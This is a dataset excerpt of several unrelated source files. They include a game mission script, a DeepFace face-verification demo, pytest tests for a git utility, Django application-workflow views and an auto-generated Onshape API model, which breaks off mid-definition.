App.CharacterAction_Create(pKiska, App.CharacterAction.AT_SAY_LINE, \"E2M1SOS3\", \"Captain\", 1, pMissionDatabase)\n\tpCommOn\t\t\t= App.TGSoundAction_Create(\"ViewOn\")\n\tpCardCaptSOS5\t= App.TGScriptAction_Create(\"MissionLib\", \"SubtitledLine\", pMissionDatabase, \"E2M1SOS5\")\n\tpKiskaSOS6\t\t= App.CharacterAction_Create(pKiska, App.CharacterAction.AT_SAY_LINE, \"E2M1SOS6\", \"Captain\", 1, pMissionDatabase)\n\tpSaffiSOS4\t\t= App.CharacterAction_Create(pSaffi, App.CharacterAction.AT_SAY_LINE, \"E2M1SOS4\", None, 0, pMissionDatabase)\n\tpCardViewOn\t\t= App.TGScriptAction_Create(\"MissionLib\", \"ViewscreenOn\", \"CardSet\", \"CardCapt\")\n\tpCardCaptSOS8\t= App.CharacterAction_Create(pCardCapt, App.CharacterAction.AT_SAY_LINE, \"E2M1SOS8\", None, 0, pMissionDatabase)\n\tpCardCaptSOS9\t= App.CharacterAction_Create(pCardCapt, App.CharacterAction.AT_SAY_LINE, \"E2M1SOS9\", None, 0, pMissionDatabase)\n\tpCardCaptSOS10\t= App.CharacterAction_Create(pCardCapt, App.CharacterAction.AT_SAY_LINE, \"E2M1SOS10\", None, 0, pMissionDatabase)\n\tpSaffiSOS11\t\t= App.CharacterAction_Create(pSaffi, App.CharacterAction.AT_SAY_LINE, \"E2M1SOS11\", None, 0, pMissionDatabase)\n\tpCardCaptSOS12\t= App.CharacterAction_Create(pCardCapt, App.CharacterAction.AT_SAY_LINE, \"E2M1SOS12\", None, 0, pMissionDatabase)\n\tpViewOff\t\t= App.TGScriptAction_Create(\"MissionLib\", \"ViewscreenOff\")\n\tpKiskaSOS13\t\t= App.CharacterAction_Create(pKiska, App.CharacterAction.AT_SAY_LINE, \"E2M1SOS13\", \"Captain\",0, pMissionDatabase)\n\t\n\t\n\tpSequence.AppendAction(pKiskaSOS1)\n\tpSequence.AppendAction(pKiskaSOS2)\n\tpSequence.AppendAction(pKiskaSOS3)\n\tpSequence.AppendAction(pCommOn)\n\tpSequence.AppendAction(pCardCaptSOS5)\n\tpSequence.AppendAction(pKiskaSOS6)\n\tpSequence.AppendAction(pSaffiSOS4)\n\tpSequence.AppendAction(pCardViewOn)\n\tpSequence.AppendAction(pCardCaptSOS8)\n\tpSequence.AppendAction(pCardCaptSOS9)\n\tpSequence.AppendAction(pCardCaptSOS10)\n\tpSequence.AppendAction(pSaffiSOS11)\n\tpSequence.AppendAction(pCardCaptSOS12)\n\tpSequence.AppendAction(pViewOff)\n\tpSequence.AppendAction(pKiskaSOS13)\n\t\n\tpSequence.Play()\n\n\t# Get the Episode and register our Aid Krell Goal\n\t# Remove the SupplyGeki goal if it's still there\n\tMissionLib.AddGoal(\"E2AidKrellGoal\")\n\n################################################################################\n##\tE2M3Briefing()\n##\n##\tPlays the briefing and links us to Episode 2 Mission 3.\n##\n##\tArgs:\tNone\n##\n##\tReturn:\tNone\n################################################################################\ndef E2M3Briefing():\n#\tkDebugObj.Print(\"Starting E2M3\")\n\t# Set the TGL for the mission and load the sounds\n\t# that we need.\n\tpMission = MissionLib.GetMission()\n\tif (pMission == None):\n\t\treturn\n\tpMissionDatabase = pMission.SetDatabase(\"data/TGL/Maelstrom/Episode 2/E2M3.TGL\")\n\t\t\n\t# Do our intro sequence\n\tpBridge\t\t= App.g_kSetManager.GetSet(\"bridge\")\n\tpStarbase\t= App.g_kSetManager.GetSet(\"StarbaseSet\")\n\t\n\tpFelix\t= App.CharacterClass_GetObject(pBridge, \"Tactical\")\n\tpLiu\t= App.CharacterClass_GetObject(pStarbase, \"Liu\")\n\t\n\tpSequence = App.TGSequence_Create()\n\t\n\tpFelixLine027\t= App.CharacterAction_Create(pFelix, App.CharacterAction.AT_SAY_LINE, \"E2M3Briefing1\", \"Captain\", 1, pMissionDatabase)\n\tpStarbaseViewOn\t= App.TGScriptAction_Create(\"MissionLib\", \"ViewscreenOn\", \"StarbaseSet\", \"Liu\")\n\tpLiuLine028\t\t= App.CharacterAction_Create(pLiu, App.CharacterAction.AT_SAY_LINE, \"E2M3Briefing2\", None, 0, pMissionDatabase)\n\tpLiuLine029\t\t= App.CharacterAction_Create(pLiu, App.CharacterAction.AT_SAY_LINE, \"E2M3Briefing3\", None, 0, pMissionDatabase)\n\tpLiuLine030\t\t= App.CharacterAction_Create(pLiu, App.CharacterAction.AT_SAY_LINE, \"E2M3Briefing4\", None, 0, pMissionDatabase)\n\tpLiuLine031\t\t= App.CharacterAction_Create(pLiu, App.CharacterAction.AT_SAY_LINE, \"E2M3Briefing5\", None, 0, pMissionDatabase)\n\tpViewOff\t\t= App.TGScriptAction_Create(\"MissionLib\", \"ViewscreenOff\")\n\t\n\tpSequence.AddAction(pFelixLine027)\n\tpSequence.AddAction(pStarbaseViewOn, pFelixLine027)\n\tpSequence.AddAction(pLiuLine028, pStarbaseViewOn)\n\tpSequence.AddAction(pLiuLine029, pLiuLine028)\n\tpSequence.AddAction(pLiuLine030, pLiuLine029)\n\tpSequence.AddAction(pLiuLine031, pLiuLine030)\n\tpSequence.AddAction(pViewOff, pLiuLine031)\n\t\n\tpSequence.Play()\n\t\n\t# Link the warp button to the new menu\n\timport Systems.Vesuvi.Vesuvi\n\tpVesuviMenu = Systems.Vesuvi.Vesuvi.CreateMenus()\n\n\t# Set the mission name for the button\n\tpVesuviMenu.SetMissionName(\"Maelstrom.Episode2.E2M3.E2M3\")\n\n\t# Remove our goal to Supply Vesuvi 5 and add the \n\t# Head to Vesuvi 6 goal\n\tMissionLib.RemoveGoal(\"E2SupplyCeli5Goal\")\n\tMissionLib.AddGoal(\"E2HeadToCeli6Goal\")\n\n################################################################################\n##\tSetupMusic\n##\n##\tSet the music to this episode's music.\n##\n##\tArgs:\tNone\n##\n##\tReturn:\tNone\n################################################################################\ndef SetupMusic():\n\timport DynamicMusic\n\tDynamicMusic.ChangeMusic(\n\t\t# Base songs/fanfares to use as music...\n\t\t((\"sfx/Music/Episode 2.mp3\", \"Starting Ambient\"),\n\t\t(\"sfx/Music/Starbase12.mp3\", \"Starbase12 Ambient\"),\n\t\t(\"sfx/Music/Nebula 1.mp3\", \"Nebula Ambient\"),\n\t\t(\"sfx/Music/Cutscene_Generic.mp3\", \"Generic Cutscene\"),\n\t\t(\"sfx/Music/EpisGen1.mp3\", \"Generic Episode 1\"),\n\t\t(\"sfx/Music/EpisGen2.mp3\", \"Generic Episode 2\"),\n\t\t(\"sfx/Music/EpisGen3.mp3\", \"Generic Episode 3\"),\n\t\t(\"sfx/Music/Panic-9a.mp3\", \"Cbt Panic 1\"),\n\t\t(\"sfx/Music/Panic-9b.mp3\", \"Cbt Panic 2\"),\n\t\t(\"sfx/Music/Panic-9c.mp3\", \"Cbt Panic 3\"),\n\t\t(\"sfx/Music/Panic-9d.mp3\", \"Cbt Panic 4\"),\n\t\t(\"sfx/Music/Panic-9e.mp3\", \"Cbt Panic 5\"),\n\t\t(\"sfx/Music/Panic-9f.mp3\", \"Cbt Panic 6\"),\n\t\t(\"sfx/Music/Panic-9g.mp3\", \"Cbt Panic 7\"),\n\t\t(\"sfx/Music/Neutral-10i.mp3\", \"Cbt Neutral 1\"),\n\t\t(\"sfx/Music/Neutral-10b.mp3\", \"Cbt Neutral 2\"),\n\t\t(\"sfx/Music/Neutral-10c.mp3\", \"Cbt Neutral 3\"),\n\t\t(\"sfx/Music/Neutral-10d.mp3\", \"Cbt Neutral 4\"),\n\t\t(\"sfx/Music/Neutral-10e.mp3\", \"Cbt Neutral 5\"),\n\t\t(\"sfx/Music/Neutral-10f.mp3\", \"Cbt Neutral 6\"),\n\t\t(\"sfx/Music/Neutral-10g.mp3\", \"Cbt Neutral 7\"),\n\t\t(\"sfx/Music/Neutral-10h.mp3\", \"Cbt Neutral 8\"),\n\t\t(\"sfx/Music/Neutral-10a.mp3\", \"Cbt Neutral 9\"),\n\t\t(\"sfx/Music/Confident-11a.mp3\", \"Cbt Confident 1\"),\n\t\t(\"sfx/Music/Confident-11b.mp3\", \"Cbt Confident 2\"),\n\t\t(\"sfx/Music/Confident-11c.mp3\", \"Cbt Confident 3\"),\n\t\t(\"sfx/Music/Confident-11d.mp3\", \"Cbt Confident 4\"),\n\t\t(\"sfx/Music/Confident-11e.mp3\", \"Cbt Confident 5\"),\n\t\t(\"sfx/Music/Confident-11f.mp3\", \"Cbt Confident 6\"),\n\t\t(\"sfx/Music/Confident-11g.mp3\", \"Cbt Confident 7\")),\n\t\t# Which music to use as a transition between 2\n\t\t# other pieces.\n\t\t(),\n\t\t# Special music states which are collections of\n\t\t# pieces of music, played in random order.\n\t\t((\"Combat Panic\", (\"Cbt Panic 1\",\n\t\t\t\t\"Cbt Panic 2\",\n\t\t\t\t\"Cbt Panic 3\",\n\t\t\t\t\"Cbt Panic 4\",\n\t\t\t\t\"Cbt Panic 5\",\n\t\t\t\t\"Cbt Panic 6\",\n\t\t\t\t\"Cbt Panic 7\")),\n\t\t(\"Combat Neutral\", (\"Cbt Neutral 1\",\n\t\t\t\t\"Cbt Neutral 2\",\n\t\t\t\t\"Cbt Neutral 3\",\n\t\t\t\t\"Cbt Neutral 4\",\n\t\t\t\t\"Cbt Neutral 5\",\n\t\t\t\t\"Cbt Neutral 6\",\n\t\t\t\t\"Cbt Neutral 7\",\n\t\t\t\t\"Cbt Neutral 8\",\n\t\t\t\t\"Cbt Neutral 9\")),\n\t\t(\"Combat Confident\", (\"Cbt Confident 1\",\n\t\t\t\t\"Cbt Confident 2\",\n\t\t\t\t\"Cbt Confident 3\",\n\t\t\t\t\"Cbt Confident 4\",\n\t\t\t\t\"Cbt Confident 5\",\n\t\t\t\t\"Cbt Confident 6\",\n\t\t\t\t\"Cbt Confident 7\"))),\n\t\t# Which state machine to use.\n\t\tDynamicMusic.StandardCombatMusic)\n\n################################################################################\n##\tTerminate()\n##\n##\tCalled to terminate our episode.\n##\n##\tArgs:\tpEpisode\t- The episode level object.\n##\n##\tReturn:\tNone\n################################################################################\ndef Terminate(pEpisode):\n\t\"Called Terminate and de-activate an Episode\"\n\tpass\n","sub_path":"scripts/Maelstrom/Episode2/Episode2.py","file_name":"Episode2.py","file_ext":"py","file_size_in_byte":10679,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"622258972","text":"from deepface import DeepFace\r\nimport cv2\r\nimport matplotlib.pyplot as plt\r\n\r\nimg1_path = \"test/a1.jpg\" #yüzünü tanımasını isteyeceğiniz kişi\r\nimg2_path = \"test/a2.jpg\" #yüzünü tanıtığınız 1.kişi\r\nimg3_path = \"test/a3.jpg\" #yüzünü tanıttığınız 2.kişi\r\nimg4_path = \"test/a4.jpg\" #yüzünü tanıttığınız 3.kişi\r\nimg1 = cv2.imread(img1_path)\r\nimg2 = cv2.imread(img2_path)\r\nimg3 = cv2.imread(img3_path)\r\nimg4 = cv2.imread(img4_path)\r\nplt.imshow(img1[:,:,::-1])\r\nplt.show()\r\n\r\nplt.imshow(img2[:,:,::-1])\r\nplt.show()\r\n\r\nplt.imshow(img3[:,:,::-1])\r\nplt.show()\r\n\r\nplt.imshow(img3[:,:,::-1])\r\nplt.show()\r\nresp = DeepFace.verify(img1,img2)\r\nresp1 = DeepFace.verify(img1,img3)\r\n\r\nprint(resp[\"verified\"])\r\nif resp[\"verified\"] == 1:\r\n print(\"Fotoğraftaki kişi Kemal Sunal\")\r\nelif resp1[\"verified\"] == 1:\r\n print(\"Fotoğraftaki kişi elon musk\")\r\nelse :\r\n print(\"Sonuç bulunamadı\")\r\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":908,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"325229587","text":"isTest = False\ntest = \"\"\nif isTest : test = \"Test\"\n\nimport os, sys\nroot = os.getenv(\"B2KTAUMUROOT\")\nif root is not None : \n sys.path.append(root+\"/Options\" )\nsys.path.append(os.getcwd())\n\nimport B2KTauMuOption as opt\nfrom DV_Config import ConfigDaVinci\n\nopt.setalgs()\nConfigDaVinci(\"CL\",16,opt.algs,Mag=test,RootInTES=\"Bhadron\",isTest=isTest)\n\n\n","sub_path":"Options/MyOption_DataBhadron.py","file_name":"MyOption_DataBhadron.py","file_ext":"py","file_size_in_byte":348,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"286608874","text":"import pytest\nimport os\nfrom unittest.mock import patch, mock_open\n\nfrom gita import utils\n\nTEST_DIR = os.path.abspath(os.path.dirname(__file__))\nPATH_FNAME = os.path.join(TEST_DIR, 'mock_path_file')\nPATH_FNAME_EMPTY = os.path.join(TEST_DIR, 'empty_path_file')\nPATH_FNAME_CLASH = os.path.join(TEST_DIR, 'clash_path_file')\n\n\n@pytest.mark.parametrize('test_input, has_remote, expected', [\n ({\n 'abc': '/root/repo/'\n }, True, 'abc \\x1b[31mrepo *+_ \\x1b[0m msg'),\n ({\n 'repo': '/root/repo2/'\n }, False, 'repo \\x1b[37mrepo *+_ \\x1b[0m msg'),\n])\ndef test_describe(test_input, has_remote, expected, monkeypatch):\n monkeypatch.setattr(utils, 'get_head', lambda x: 'repo')\n monkeypatch.setattr(utils, 'has_remote', lambda: has_remote)\n monkeypatch.setattr(utils, 'get_commit_msg', lambda: \"msg\")\n monkeypatch.setattr(utils, 'has_untracked', lambda: True)\n monkeypatch.setattr('os.chdir', lambda x: None)\n # Returns of os.system determine the repo status\n monkeypatch.setattr('os.system', lambda x: True)\n print('expected: ', repr(expected))\n print('got: ', repr(next(utils.describe(test_input))))\n assert expected == next(utils.describe(test_input))\n\n\ndef test_get_head():\n with patch('builtins.open',\n mock_open(read_data='ref: refs/heads/snake')) as mock_file:\n head = utils.get_head('/fake')\n assert head == 'snake'\n mock_file.assert_called_once_with('/fake/.git/HEAD')\n\n\n@pytest.mark.parametrize('path_fname, expected', [\n (PATH_FNAME, {\n 'repo1': '/a/bcd/repo1',\n 'repo2': '/e/fgh/repo2'\n }),\n (PATH_FNAME_EMPTY, {}),\n (PATH_FNAME_CLASH, {\n 'repo1': '/a/bcd/repo1',\n 'repo2': '/e/fgh/repo2',\n 'x/repo1': '/root/x/repo1'\n }),\n])\n@patch('gita.utils.is_git', return_value=True)\n@patch('gita.utils.get_path_fname')\ndef test_get_repos(mock_path_fname, _, path_fname, expected):\n mock_path_fname.return_value = path_fname\n utils.get_repos.cache_clear()\n repos = utils.get_repos()\n assert repos == expected\n\n\n@pytest.mark.parametrize(\n 'path_input, expected',\n [\n (['/home/some/repo/'], '/home/some/repo:/nos/repo'), # add one new\n (['/home/some/repo1', '/repo2'],\n '/home/some/repo1:/nos/repo:/repo2'), # add two new\n (['/home/some/repo1', '/nos/repo'],\n '/home/some/repo1:/nos/repo'), # add one old one new\n ])\n@patch('os.path.expanduser', return_value='/root')\n@patch('os.makedirs')\n@patch('gita.utils.get_repos', return_value={'repo': '/nos/repo'})\n@patch('gita.utils.is_git', return_value=True)\ndef test_add_repos(_0, _1, _2, _3, path_input, expected):\n with patch('builtins.open', mock_open()) as mock_file:\n utils.add_repos(path_input)\n mock_file.assert_called_with('/root/.gita/repo_path', 'w')\n handle = mock_file()\n handle.write.assert_called_once_with(expected)\n","sub_path":"tests/test_utils.py","file_name":"test_utils.py","file_ext":"py","file_size_in_byte":2885,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"546810129","text":"from __future__ import unicode_literals\nfrom applications.workflow import Flow\nfrom .models import Location, Record, PublicationNewspaper, PublicationWebsite, PublicationFeedback,Referral,Application\nfrom django.utils.safestring import SafeText\nfrom django.contrib.auth.models import Group\nfrom applications.validationchecks import Attachment_Extension_Check\n\nclass Application_Part5():\n\n def get(self,app,self_view,context):\n request = self_view.request\n\n if app.routeid is None:\n app.routeid = 1\n\n flow = Flow()\n workflowtype = flow.getWorkFlowTypeFromApp(app)\n flow.get(workflowtype)\n context = flow.getAccessRights(request,context,app.routeid,workflowtype)\n context = flow.getCollapse(context,app.routeid,workflowtype)\n context = flow.getHiddenAreas(context,app.routeid,workflowtype)\n context['workflow'] = flow.getAllRouteConf(workflowtype,app.routeid)\n context['workflow_actions'] = flow.getAllRouteActions(app.routeid,workflowtype)\n context['formcomponent'] = flow.getFormComponent(app.routeid,workflowtype)\n context['workflowoptions'] = flow.getWorkflowOptions()\n\n try:\n LocObj = Location.objects.get(application_id=self_view.object.id)\n context['certificate_of_title_volume'] = LocObj.title_volume\n context['folio'] = LocObj.folio\n context['diagram_plan_deposit_number'] = LocObj.dpd_number\n context['location'] = LocObj.location\n context['reserve_number'] = LocObj.reserve\n context['street_number_and_name'] = LocObj.street_number_name\n context['town_suburb'] = LocObj.suburb\n context['lot'] = LocObj.lot\n context['nearest_road_intersection'] = LocObj.intersection\n except:\n donothing = ''\n\n context['publication_newspaper'] = PublicationNewspaper.objects.filter(application_id=self_view.object)\n context['publication_website'] = PublicationWebsite.objects.filter(application_id=self_view.object)\n if self_view.object.river_lease_scan_of_application:\n context['river_lease_scan_of_application_short'] = SafeText(self_view.object.river_lease_scan_of_application.upload.name)[19:]\n\n if self_view.object.document_draft:\n context['document_draft_short'] = SafeText(self_view.object.document_draft.upload.name)[19:]\n if self_view.object.document_final:\n context['document_final_short'] = SafeText(self_view.object.document_final.upload.name)[19:]\n if self_view.object.deed:\n context['deed_short'] = SafeText(self_view.object.deed.upload.name)[19:]\n\n\n context['land_owner_consent_list'] = []\n landoc = app.land_owner_consent.all()\n for doc in landoc:\n fileitem = {}\n fileitem['fileid'] = doc.id\n fileitem['path'] = doc.upload.name\n fileitem['path_short'] = SafeText(doc.upload.name)[19:]\n context['land_owner_consent_list'].append(fileitem)\n\n\n context['publication_newspaper_list'] = []\n pub_news_obj = []\n pub_news_mod = PublicationNewspaper.objects.filter(application_id=self_view.object)\n for pubrow in pub_news_mod:\n rowitem = {}\n rowitem['pk'] = pubrow.pk\n rowitem['id'] = pubrow.id\n rowitem['date'] = pubrow.date\n rowitem['newspaper'] = pubrow.newspaper\n rowitem['application'] = pubrow.application\n rowitem['records'] = pubrow.records\n rowitem['documents_short'] = []\n records = pubrow.records.all()\n for doc in records:\n fileitem = {}\n fileitem['fileid'] = doc.id\n fileitem['path'] = doc.upload\n fileitem['path_short'] = SafeText(doc.upload.name)[19:]\n rowitem['documents_short'].append(fileitem)\n context['publication_newspaper_list'].append(rowitem)\n\n\n pub_feed_obj = []\n pub_feed_mod = PublicationFeedback.objects.filter(application_id=self_view.object)\n for pubrow in pub_feed_mod:\n rowitem = {}\n rowitem['id'] = pubrow.id\n rowitem['name'] = pubrow.name\n rowitem['address'] = pubrow.address\n rowitem['suburb'] = pubrow.suburb\n rowitem['state'] = pubrow.state\n rowitem['postcode'] = pubrow.postcode\n rowitem['phone'] = pubrow.phone\n rowitem['email'] = pubrow.email\n rowitem['comments'] = pubrow.comments\n rowitem['records'] = pubrow.records\n rowitem['documents_short'] = [] # needed so we can add documents to list\n rowitem['status'] = pubrow.status\n rowitem['application'] = pubrow.application\n records = pubrow.records.all()\n for doc in records:\n fileitem = {}\n fileitem['fileid'] = doc.id\n fileitem['path'] = doc.upload\n fileitem['path_short'] = SafeText(doc.upload.name)[19:]\n rowitem['documents_short'].append(fileitem)\n pub_feed_obj.append(rowitem)\n\n context['publication_feedback'] = pub_feed_obj\n\n new_documents_to_publish = {}\n pub_web = PublicationWebsite.objects.filter(application_id=self_view.object.id)\n for pub_doc in pub_web:\n if pub_doc.published_document_id:\n doc = Record.objects.get(id=pub_doc.published_document_id)\n fileitem = {}\n fileitem['fileid'] = doc.id\n fileitem['path'] = doc.upload.name\n new_documents_to_publish[pub_doc.original_document_id] = fileitem\n\n orignaldoclist = []\n if self_view.object.river_lease_scan_of_application:\n fileitem = {}\n fileitem['fileid'] = self_view.object.river_lease_scan_of_application.id\n fileitem['path'] = self_view.object.river_lease_scan_of_application.upload.name\n fileitem['path_short'] = SafeText(self_view.object.river_lease_scan_of_application.upload.name)[19:]\n fileitem['group_name'] = \"River Lease Scan of Application\"\n if self_view.object.river_lease_scan_of_application.id in new_documents_to_publish:\n fileitem['publish_doc'] = new_documents_to_publish[self_view.object.river_lease_scan_of_application.id]['path']\n fileitem['publish_doc_short'] = SafeText(new_documents_to_publish[self_view.object.river_lease_scan_of_application.id]['path'])[19:]\n orignaldoclist.append(fileitem)\n\n if self_view.object.deed:\n fileitem = {}\n fileitem['fileid'] = self_view.object.deed.id\n fileitem['path'] = self_view.object.deed.upload.name\n fileitem['path_short'] = SafeText(self_view.object.deed.upload.name)[19:]\n fileitem['group_name'] = \"Deed\"\n if self_view.object.deed.id in new_documents_to_publish:\n fileitem['publish_doc'] = new_documents_to_publish[self_view.object.deed.id]['path']\n fileitem['publish_doc_short'] = SafeText(new_documents_to_publish[self_view.object.deed.id]['path'])[19:]\n orignaldoclist.append(fileitem)\n\n landoc = app.land_owner_consent.all()\n for doc in landoc:\n fileitem = {}\n fileitem['fileid'] = doc.id\n fileitem['path'] = doc.upload.name\n fileitem['path_short'] = SafeText(doc.upload.name)[19:]\n fileitem['group_name'] = \"Land Owner Consent\"\n if doc.id in new_documents_to_publish:\n fileitem['publish_doc'] = new_documents_to_publish[doc.id]['path']\n fileitem['publish_doc_short'] = SafeText(new_documents_to_publish[doc.id]['path'])[19:]\n else:\n fileitem['publish_doc'] = \"\"\n fileitem['publish_doc_short'] = \"\"\n\n orignaldoclist.append(fileitem)\n\n doclist = app.proposed_development_plans.all()\n for doc in doclist:\n fileitem = {}\n fileitem['fileid'] = doc.id\n fileitem['path'] = doc.upload.name\n fileitem['path_short'] = SafeText(doc.upload.name)[19:]\n fileitem['group_name'] = \"Proposed Development Plans\"\n\n if doc.id in new_documents_to_publish:\n fileitem['publish_doc'] = new_documents_to_publish[doc.id]['path']\n fileitem['publish_doc_short'] = SafeText(new_documents_to_publish[doc.id]['path'])[19:]\n else:\n fileitem['publish_doc'] = \"\"\n fileitem['publish_doc_short'] = \"\"\n orignaldoclist.append(fileitem)\n context['original_document_list'] = orignaldoclist\n\n doclist = app.proposed_development_plans.all()\n context['proposed_development_plans_list'] = []\n for doc in doclist:\n fileitem = {}\n fileitem['fileid'] = doc.id\n fileitem['path'] = doc.upload.name\n fileitem['path_short'] = SafeText(doc.upload.name)[19:]\n context['proposed_development_plans_list'].append(fileitem)\n\n return context\n\n\nclass Application_Emergency():\n\n def get(self,app,self_view,context):\n request = self_view.request\n workflowtype = \"emergency\"\n\n if app.routeid is None:\n app.routeid = 1\n\n flow = Flow()\n flow.get(workflowtype)\n context = flow.getAccessRights(request,context,app.routeid,workflowtype)\n context = flow.getCollapse(context,app.routeid,workflowtype)\n context = flow.getHiddenAreas(context,app.routeid,workflowtype)\n context['workflow_actions'] = flow.getAllRouteActions(app.routeid,workflowtype)\n context['formcomponent'] = flow.getFormComponent(app.routeid,workflowtype)\n context['workflowoptions'] = flow.getWorkflowOptions()\n\n if app.organisation:\n context['address'] = app.organisation.postal_address\n elif app.applicant:\n context['address'] = app.applicant.postal_address\n\n return context\n\nclass Application_Permit():\n def get(self,app,self_view,context):\n request = self_view.request\n workflowtype = \"permit\"\n\n if app.routeid is None:\n app.routeid = 1\n\n flow = Flow()\n flow.get(workflowtype)\n context = flow.getAccessRights(request,context,app.routeid,workflowtype)\n context = flow.getCollapse(context,app.routeid,workflowtype)\n context = flow.getHiddenAreas(context,app.routeid,workflowtype)\n context['workflow_actions'] = flow.getAllRouteActions(app.routeid,workflowtype)\n context['formcomponent'] = flow.getFormComponent(app.routeid,workflowtype)\n context['workflowoptions'] = flow.getWorkflowOptions()\n\n return context\n\nclass Application_Licence():\n def get(self,app,self_view,context):\n request = self_view.request\n workflowtype = \"licence\"\n\n if app.routeid is None:\n app.routeid = 1\n\n flow = Flow()\n flow.get(workflowtype)\n context = flow.getAccessRights(request,context,app.routeid,workflowtype)\n context = flow.getCollapse(context,app.routeid,workflowtype)\n context = flow.getHiddenAreas(context,app.routeid,workflowtype)\n context['workflow_actions'] = flow.getAllRouteActions(app.routeid,workflowtype)\n context['formcomponent'] = flow.getFormComponent(app.routeid,workflowtype)\n context['workflowoptions'] = flow.getWorkflowOptions()\n\n return context\n\n\nclass Referrals_Next_Action_Check():\n\n def get(self,app):\n app_refs = Referral.objects.filter(application=app)\n# print app_refs\n referralscompleted = True\n for ref in app_refs:\n if ref.status == Referral.REFERRAL_STATUS_CHOICES.referred:\n referralscompleted = False\n\n return referralscompleted\n\n def go_next_action(self,app):\n app = Application.objects.get(id=app.id)\n app.status = ''\n flow = Flow()\n workflowtype = flow.getWorkFlowTypeFromApp(app)\n DefaultGroups = flow.groupList()\n flow.get(workflowtype)\n assignee = None\n routes = flow.getAllRouteActions(app.routeid,workflowtype)\n action = routes[0]['routegroup']\n if action in DefaultGroups['grouplink']:\n groupassignment = Group.objects.get(name=DefaultGroups['grouplink'][action])\n else:\n groupassignment = None\n route = flow.getNextRouteObj(action,app.routeid,workflowtype)\n\n if \"route\"in route:\n app.routeid = route[\"route\"]\n else:\n app.routeid = None\n\n if \"state\" in route:\n app.state = route[\"state\"]\n else:\n app.state = 0 \n\n app.group = groupassignment\n app.assignee = assignee\n app.save()\n\n\n\n\n","sub_path":"applications/views_sub.py","file_name":"views_sub.py","file_ext":"py","file_size_in_byte":12920,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"463172152","text":"# coding: utf-8\n\n\"\"\"\n Onshape REST API\n\n The Onshape REST API consumed by all clients. # noqa: E501\n\n The version of the OpenAPI document: 1.113\n Contact: api-support@onshape.zendesk.com\n Generated by: https://openapi-generator.tech\n\"\"\"\n\n\nfrom __future__ import absolute_import\nimport re # noqa: F401\nimport sys # noqa: F401\n\nimport six # noqa: F401\nimport nulltype # noqa: F401\n\nfrom onshape_client.oas.model_utils import ( # noqa: F401\n ModelComposed,\n ModelNormal,\n ModelSimple,\n date,\n datetime,\n file_type,\n int,\n none_type,\n str,\n validate_get_composed_info,\n)\n\ntry:\n from onshape_client.oas.models import btfs_value_array1499\nexcept ImportError:\n btfs_value_array1499 = sys.modules[\"onshape_client.oas.models.btfs_value_array1499\"]\ntry:\n from onshape_client.oas.models import btfs_value_boolean1195\nexcept ImportError:\n btfs_value_boolean1195 = sys.modules[\n \"onshape_client.oas.models.btfs_value_boolean1195\"\n ]\ntry:\n from onshape_client.oas.models import btfs_value_map2062\nexcept ImportError:\n btfs_value_map2062 = sys.modules[\"onshape_client.oas.models.btfs_value_map2062\"]\ntry:\n from onshape_client.oas.models import btfs_value_number772\nexcept ImportError:\n btfs_value_number772 = sys.modules[\"onshape_client.oas.models.btfs_value_number772\"]\ntry:\n from onshape_client.oas.models import btfs_value_other1124\nexcept ImportError:\n btfs_value_other1124 = sys.modules[\"onshape_client.oas.models.btfs_value_other1124\"]\ntry:\n from onshape_client.oas.models import btfs_value_string1422\nexcept ImportError:\n btfs_value_string1422 = sys.modules[\n \"onshape_client.oas.models.btfs_value_string1422\"\n ]\ntry:\n from onshape_client.oas.models import btfs_value_too_big1247\nexcept ImportError:\n btfs_value_too_big1247 = sys.modules[\n \"onshape_client.oas.models.btfs_value_too_big1247\"\n ]\ntry:\n from onshape_client.oas.models import btfs_value_undefined2003\nexcept ImportError:\n btfs_value_undefined2003 = sys.modules[\n \"onshape_client.oas.models.btfs_value_undefined2003\"\n ]\ntry:\n from onshape_client.oas.models import btfs_value_with_units1817\nexcept ImportError:\n btfs_value_with_units1817 = sys.modules[\n \"onshape_client.oas.models.btfs_value_with_units1817\"\n ]\n\n\nclass BTFSValue1888(ModelNormal):\n \"\"\"NOTE: This class is auto generated by OpenAPI Generator.\n Ref: https://openapi-generator.tech\n\n Do not edit the class manually.\n\n Attributes:\n allowed_values (dict): The key is the tuple path to the attribute\n and the for var_name this is (var_name,). The value is a dict\n with a capitalized key describing the allowed value and an allowed\n value. These dicts store the allowed enum values.\n attribute_map (dict): The key is attribute name\n and the value is json key in definition.\n discriminator_value_class_map (dict): A dict to go from the discriminator\n variable value to the discriminator class name.\n validations (dict): The key is the tuple path to the attribute\n and the for var_name this is (var_name,). The value is a dict\n that stores validations for max_length, min_length, max_items,\n min_items, exclusive_maximum, inclusive_maximum, exclusive_minimum,\n inclusive_minimum, and regex.\n additional_properties_type (tuple): A tuple of classes accepted\n as additional properties values.\n \"\"\"\n\n allowed_values = {}\n\n validations = {}\n\n additional_properties_type = None\n\n @staticmethod\n def openapi_types():\n \"\"\"\n This must be a class method so a model may have properties that are\n of type self, this ensures that we don't create a cyclic import\n\n Returns\n openapi_types (dict): The key is attribute name\n and the value is attribute type.\n \"\"\"\n return {\n \"bt_type\": (str,), # noqa: E501\n \"configuration_value_string\": (str,), # noqa: E501\n \"standard_type_name\": (str,), # noqa: E501\n \"type_tag\": (str,), # noqa: E501\n \"value_object\": (\n bool,\n date,\n datetime,\n dict,\n float,\n int,\n list,\n str,\n ), # noqa: E501\n }\n\n @staticmethod\n def discriminator():\n return {\n \"bt_type\": {\n \"BTFSValueArray-1499\": btfs_value_array1499.BTFSValueArray1499,\n \"BTFSValueString-1422\": btfs_value_string1422.BTFSValueString1422,\n \"BTFSValueWithUnits-1817\": btfs_value_with_units1817.BTFSValueWithUnits1817,\n \"BTFSValueOther-1124\": btfs_value_other1124.BTFSValueOther1124,\n \"BTFSValueTooBig-1247\": btfs_value_too_big1247.BTFSValueTooBig1247,\n \"BTFSValueNumber-772\": btfs_value_number772.BTFSValueNumber772,\n \"BTFSValueUndefined-2003\": btfs_value_undefined2003.BTFSValueUndefined2003,\n \"BTFSValueBoolean-1195\": 